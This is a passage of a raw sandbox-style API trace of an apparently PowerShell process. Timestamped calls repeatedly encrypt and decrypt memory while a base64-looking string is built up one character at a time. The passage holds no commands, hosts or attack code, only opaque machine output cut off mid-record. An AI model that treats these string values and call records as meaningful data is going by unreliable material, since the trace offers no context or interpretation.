(param_1="\x40a9\xe9aa\x33d3\xc426\x9da5\x4b2\xdb20\x6f7d\x2d03\x9acd\xecc0\xb17c\x25e7\x1279\x5335\xb939\x180e\x14e0\xa031\xcf49\xff75\xbd13\xfba4\xd174\x3ae3\x276f\xf11b\x3b67\xd76f\xcade\xfa1c\x233\xae9d\x8a85\x6d4a\xda5\x8aa5\xc174\xbd34\x91ca\x4d\x31\x7a\x2d\x37\x33\x2e\x61") returned 0x30 [0139.210] SystemFunction041 (in: Memory=0x8e3155c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3155c) returned 0x0 [0139.210] SysStringLen (param_1="enrLdkKwWRAmaumfleG4g+QB2SBBXIOxrefi4y9+D淾಍⸵稓萅ⵟ鵃") returned 0x30 [0139.210] SystemFunction040 (in: Memory=0x8e3155c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3155c) returned 0x0 [0139.210] SysStringLen (param_1="\x40a9\xe9aa\x33d3\xc426\x9da5\x4b2\xdb20\x6f7d\x2d03\x9acd\xecc0\xb17c\x25e7\x1279\x5335\xb939\x180e\x14e0\xa031\xcf49\xff75\xbd13\xfba4\xd174\x3ae3\x276f\xf11b\x3b67\xd76f\xcade\xfa1c\x233\xae9d\x8a85\x6d4a\xda5\x8aa5\xc174\xbd34\x91ca\x8569\x89b4\xcbd8\xf77f\xa506\xd416\xd1c7\x42a6") returned 0x30 [0139.210] SysStringLen (param_1="\x40a9\xe9aa\x33d3\xc426\x9da5\x4b2\xdb20\x6f7d\x2d03\x9acd\xecc0\xb17c\x25e7\x1279\x5335\xb939\x180e\x14e0\xa031\xcf49\xff75\xbd13\xfba4\xd174\x3ae3\x276f\xf11b\x3b67\xd76f\xcade\xfa1c\x233\xae9d\x8a85\x6d4a\xda5\x8aa5\xc174\xbd34\x91ca\x8569\x89b4\xcbd8\xf77f\xa506\xd416\xd1c7\x42a6") returned 0x30 [0139.210] SystemFunction041 (in: Memory=0x8e3155c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3155c) returned 0x0 [0139.210] SysStringLen (param_1="enrLdkKwWRAmaumfleG4g+QB2SBBXIOxrefi4y9+Dj಍⸵稓萅ⵟ鵃") returned 0x30 [0139.210] SystemFunction040 (in: Memory=0x8e3155c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3155c) returned 0x0 [0139.210] SysStringLen (param_1="\x40a9\xe9aa\x33d3\xc426\x9da5\x4b2\xdb20\x6f7d\x2d03\x9acd\xecc0\xb17c\x25e7\x1279\x5335\xb939\x180e\x14e0\xa031\xcf49\xff75\xbd13\xfba4\xd174\x3ae3\x276f\xf11b\x3b67\xd76f\xcade\xfa1c\x233\xae9d\x8a85\x6d4a\xda5\x8aa5\xc174\xbd34\x91ca\x44d3\xe28f\x4513\xd246\x1a73\xf871\xbc99\x39f5") returned 0x30 [0139.210] SysStringLen (param_1="\x40a9\xe9aa\x33d3\xc426\x9da5\x4b2\xdb20\x6f7d\x2d03\x9acd\xecc0\xb17c\x25e7\x1279\x5335\xb939\x180e\x14e0\xa031\xcf49\xff75\xbd13\xfba4\xd174\x3ae3\x276f\xf11b\x3b67\xd76f\xcade\xfa1c\x233\xae9d\x8a85\x6d4a\xda5\x8aa5\xc174\xbd34\x91ca\x44d3\xe28f\x4513\xd246\x1a73\xf871\xbc99\x39f5") returned 0x30 [0139.210] SystemFunction041 (in: Memory=0x8e3155c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3155c) returned 0x0 [0139.210] SysStringLen (param_1="enrLdkKwWRAmaumfleG4g+QB2SBBXIOxrefi4y9+DjI⸵稓萅ⵟ鵃") returned 0x30 [0139.210] SystemFunction040 (in: Memory=0x8e3155c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3155c) returned 0x0 [0139.211] SysStringLen (param_1="\x40a9\xe9aa\x33d3\xc426\x9da5\x4b2\xdb20\x6f7d\x2d03\x9acd\xecc0\xb17c\x25e7\x1279\x5335\xb939\x180e\x14e0\xa031\xcf49\xff75\xbd13\xfba4\xd174\x3ae3\x276f\xf11b\x3b67\xd76f\xcade\xfa1c\x233\xae9d\x8a85\x6d4a\xda5\x8aa5\xc174\xbd34\x91ca\xe02c\xb056\xe932\xc4b4\xda63\x940d\xaded\xc126") returned 0x30 [0139.211] SysStringLen (param_1="\x40a9\xe9aa\x33d3\xc426\x9da5\x4b2\xdb20\x6f7d\x2d03\x9acd\xecc0\xb17c\x25e7\x1279\x5335\xb939\x180e\x14e0\xa031\xcf49\xff75\xbd13\xfba4\xd174\x3ae3\x276f\xf11b\x3b67\xd76f\xcade\xfa1c\x233\xae9d\x8a85\x6d4a\xda5\x8aa5\xc174\xbd34\x91ca\xe02c\xb056\xe932\xc4b4\xda63\x940d\xaded\xc126") returned 0x30 [0139.211] SystemFunction041 (in: Memory=0x8e3155c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3155c) returned 0x0 [0139.211] SysStringLen (param_1="enrLdkKwWRAmaumfleG4g+QB2SBBXIOxrefi4y9+DjI=稓萅ⵟ鵃") returned 0x30 [0139.211] SystemFunction040 (in: Memory=0x8e3155c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3155c) returned 0x0 [0139.211] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb1, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.211] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeacc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeacc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb1, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.211] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb0, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb0, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.211] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae604, nSize=0x100 | out: lpBuffer="\x9fcb\x72b0\xadb8\x667\x1082\x73b6\xbab0\x42f\x108e\x73b6\xe63c\x99a\xc37\x72b2\xadb8\x667\x0b") returned 0x0 [0139.211] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae9dc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae9dc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb2, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.211] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae93c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae93c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb0, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.211] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae9cc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb2, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae9cc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb2, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.212] SysStringLen (param_1="") returned 0x8 [0139.212] SysStringLen (param_1="Y") returned 0x8 [0139.212] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0139.212] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0139.212] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0139.212] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0139.212] SysStringLen (param_1="YW") returned 0x8 [0139.212] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0139.212] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0139.212] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0139.212] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0139.212] SysStringLen (param_1="YWM") returned 0x8 [0139.212] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0139.212] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0139.212] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0139.212] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0139.212] SysStringLen (param_1="YWM1") returned 0x8 [0139.212] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0139.212] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0139.212] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0139.212] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0139.212] SysStringLen (param_1="YWM1O") returned 0x8 [0139.212] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0139.213] SysStringLen (param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0139.213] SysStringLen (param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0139.213] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0139.213] SysStringLen (param_1="YWM1OT") returned 0x8 [0139.213] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0139.213] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0139.213] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0139.213] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0139.213] SysStringLen (param_1="YWM1OTE") returned 0x8 [0139.213] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0139.213] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0139.213] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0139.213] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0139.213] SysStringLen (param_1="YWM1OTEw") returned 0x8 [0139.213] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0139.213] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0139.213] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0139.213] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0139.213] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x10 [0139.213] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0139.214] SysStringLen (param_1="YWM1OTEwYၺ೮䏍뇟㫃鄏") returned 0x10 [0139.214] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0139.214] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0139.214] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0139.214] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0139.214] SysStringLen (param_1="YWM1OTEwYW೮䏍뇟㫃鄏") returned 0x10 [0139.214] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0139.214] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xcef2\xa6c7\xd746\xe957\x3ef3\x5872\xb88a\xad48") returned 0x10 [0139.214] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xcef2\xa6c7\xd746\xe957\x3ef3\x5872\xb88a\xad48") returned 0x10 [0139.214] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0139.214] SysStringLen (param_1="YWM1OTEwYWQ೮䏍뇟㫃鄏") returned 0x10 [0139.214] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0139.214] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x62e3\xd42b\xa577\xd150\x2c99\x571a\xcba5\x6dcc") returned 0x10 [0139.214] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x62e3\xd42b\xa577\xd150\x2c99\x571a\xcba5\x6dcc") returned 0x10 [0139.214] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0139.214] SysStringLen (param_1="YWM1OTEwYWQ4䏍뇟㫃鄏") returned 0x10 [0139.214] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0139.214] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x4231\x703b\xcf8d\xc9dc\xc02d\x7463\x9ff9\x4820") returned 0x10 [0139.214] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x4231\x703b\xcf8d\xc9dc\xc02d\x7463\x9ff9\x4820") returned 0x10 [0139.214] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0139.214] SysStringLen (param_1="YWM1OTEwYWQ4Z뇟㫃鄏") returned 0x10 [0139.214] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0139.215] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x2cff\xd5e2\x9f68\x7e8b\x32fa\x6471\x7975\x2c00") returned 0x10 [0139.215] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x2cff\xd5e2\x9f68\x7e8b\x32fa\x6471\x7975\x2c00") returned 0x10 [0139.215] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0139.215] SysStringLen (param_1="YWM1OTEwYWQ4ZT㫃鄏") returned 0x10 [0139.215] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0139.215] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x3df\xd244\xa8e3\x55c4\xf620\xe54d\xf064\x81d2") returned 0x10 [0139.215] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x3df\xd244\xa8e3\x55c4\xf620\xe54d\xf064\x81d2") returned 0x10 [0139.215] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0139.215] SysStringLen (param_1="YWM1OTEwYWQ4ZTI鄏") returned 0x10 [0139.215] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0139.215] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x879a\x7653\x5503\x7411\x9ee7\x19b3\xd3b7\x7d70") returned 0x10 [0139.215] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x879a\x7653\x5503\x7411\x9ee7\x19b3\xd3b7\x7d70") returned 0x10 [0139.215] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0139.215] SysStringLen (param_1="YWM1OTEwYWQ4ZTIz") returned 0x10 [0139.215] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0139.215] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0139.215] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0139.215] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0139.215] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x18 [0139.215] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0139.215] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNEꂰ㓋뺍᳧玡") returned 0x18 [0139.215] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0139.216] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x383f\x20d8\xebfe\xd582\x13d\xc673\xcbfc\x296a") returned 0x18 [0139.216] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x383f\x20d8\xebfe\xd582\x13d\xc673\xcbfc\x296a") returned 0x18 [0139.216] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0139.216] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGꂰ㓋뺍᳧玡") returned 0x18 [0139.216] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0139.216] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xd39c\x87f9\xe53\xbc93\x8e34\x136b\x9f58\xb9bd") returned 0x18 [0139.216] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xd39c\x87f9\xe53\xbc93\x8e34\x136b\x9f58\xb9bd") returned 0x18 [0139.216] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0139.216] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGN㓋뺍᳧玡") returned 0x18 [0139.216] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0139.216] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x83d\x526e\xa67f\x8365\xbc02\xe08d\xf33c\x953") returned 0x18 [0139.216] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x83d\x526e\xa67f\x8365\xbc02\xe08d\xf33c\x953") returned 0x18 [0139.216] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0139.216] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNh㓋뺍᳧玡") returned 0x18 [0139.216] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0139.216] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xe480\xc5f3\xb436\x41c3\xd93\xbdd2\xde23\xa39e") returned 0x18 [0139.216] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xe480\xc5f3\xb436\x41c3\xd93\xbdd2\xde23\xa39e") returned 0x18 [0139.216] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0139.216] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhM뺍᳧玡") returned 0x18 [0139.216] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0139.216] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x633a\xb9b0\x72e7\x9e3c\x6f11\xd537\x2a29\x6fe1") returned 0x18 [0139.216] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x633a\xb9b0\x72e7\x9e3c\x6f11\xd537\x2a29\x6fe1") returned 0x18 [0139.217] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0139.217] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMj᳧玡") returned 0x18 [0139.217] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0139.217] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xc423\x6ee5\x557f\xd829\x23d9\xad08\xf786\x1c34") returned 0x18 [0139.217] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xc423\x6ee5\x557f\xd829\x23d9\xad08\xf786\x1c34") returned 0x18 [0139.217] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0139.217] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjF玡") returned 0x18 [0139.217] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0139.217] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x2042\x1a1a\xd6bd\xab7b\xf565\x9e6b\x5b05\x91b6") returned 0x18 [0139.217] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x2042\x1a1a\xd6bd\xab7b\xf565\x9e6b\x5b05\x91b6") returned 0x18 [0139.217] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0139.217] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFm") returned 0x18 [0139.217] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0139.217] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0139.217] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0139.217] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0139.217] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x20 [0139.217] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0139.217] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmN쿼沓ꇑ੎촢럝") returned 0x20 [0139.217] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0139.218] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xda35\xd992\xbcfc\x6e8b\x5222\xb2df\xdd35\xd819") returned 0x20 [0139.218] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xda35\xd992\xbcfc\x6e8b\x5222\xb2df\xdd35\xd819") returned 0x20 [0139.218] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0139.218] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNm쿼沓ꇑ੎촢럝") returned 0x20 [0139.218] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, 